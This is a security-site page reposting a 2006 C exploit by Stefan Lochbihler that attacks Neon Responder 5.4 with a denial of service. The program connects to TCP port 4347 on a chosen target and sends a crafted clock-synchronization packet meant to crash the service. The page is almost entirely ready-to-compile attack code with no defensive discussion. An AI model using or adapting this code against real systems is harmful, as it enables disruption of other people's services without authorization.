首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Neon Responder 5.4 (Clock Synchronization) Denial of Service Exploit
来源:vfocus.net 作者:Stefan 发布时间:2006-04-18  

/* Stefan Lochbihler*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#define PORT 4347
char CLOCK_MSG [] = "\x00\x0e\x5a\x00\x4c\xe9\x24\xb1\x17\x88\x40\x84"; //Password = ""

void usage (char*);
void endpgr (char *,SOCKET, char*);
unsigned long gethost (char *);


int main(int argc, char *argv[])
{

WSADATA wsa;
SOCKET client;
sockaddr_in peer;
WORD wsVersion;

char sendbuffer[16]="";
char recvbuffer[16]="";
unsigned long host=0;
int err=0;

if(argc<2)
usage(argv[0]);

printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");


if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)!=0)
{
printf("WSAStartup() fail\n");
exit(0);
}

printf("%s:[+] Try to create socket\n",argv[0]);
client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(client==INVALID_SOCKET)
endpgr(argv[0],client,"[-] socket() fail");

printf("%s:[+] Lookup host\n",argv[0]);
if(!(host=gethost(argv[1])))
endpgr(argv[0],client,"[-] host not found !");

peer.sin_family = AF_INET;
peer.sin_port = htons(PORT);
peer.sin_addr.s_addr = host;

printf("%s:[+] Connect to %s\n",argv[0],argv[1]);
err=connect(client,(SOCKADDR*)&peer,sizeof(struct sockaddr_in));
if(err)
endpgr(argv[0],client,"[-] connect() fail");

memcpy(sendbuffer,CLOCK_MSG,sizeof(CLOCK_MSG));

printf("%s:[+] Try to send packet\n",argv[0]);
err=send(client,sendbuffer,sizeof(sendbuffer),0);
err=recv(client,recvbuffer,sizeof(recvbuffer)-1,0);

endpgr(argv[0],client,"[+] End successfully");

return 0;

}

void usage(char *pgrname)
{
printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");
printf("%s: <Targethost>\n",pgrname);
exit(0);
}

void endpgr (char *pgrname, SOCKET client,char *msg)
{
printf("%s:%s\n",pgrname,msg);
WSACleanup();
closesocket(client);
exit(0);
}

unsigned long gethost(char *targethost)
{
unsigned long host=0;
hostent *phost=NULL;


host=inet_addr(targethost);
if(host==INADDR_NONE)
{
if((phost=gethostbyname(targethost))==NULL)
return 0;
host=*(unsigned long*)phost->h_addr;
}

return host;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FlexBB <= 0.5.5 (/inc/start
·Internet PhotoShow (page) Remo
·Blackorpheus ClanMemberSkript
·PHP Net Tools <= 2.7.1 Remo
·Microsoft IIS ASP Stack Overfl
·ASPSitem <= 1.83 (Haberler.
·Cheese Tracker <= 0.9.9 Loc
·Mambo <= 4.5.3 , Joomla <
·D-Link Router UPNP Stack Overf
·PCPIN Chat <= 5.0.4 (login/
·MS Windows Mailslot Ring0 Memo
·PHPSurveyor <= 0.995 (surve
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved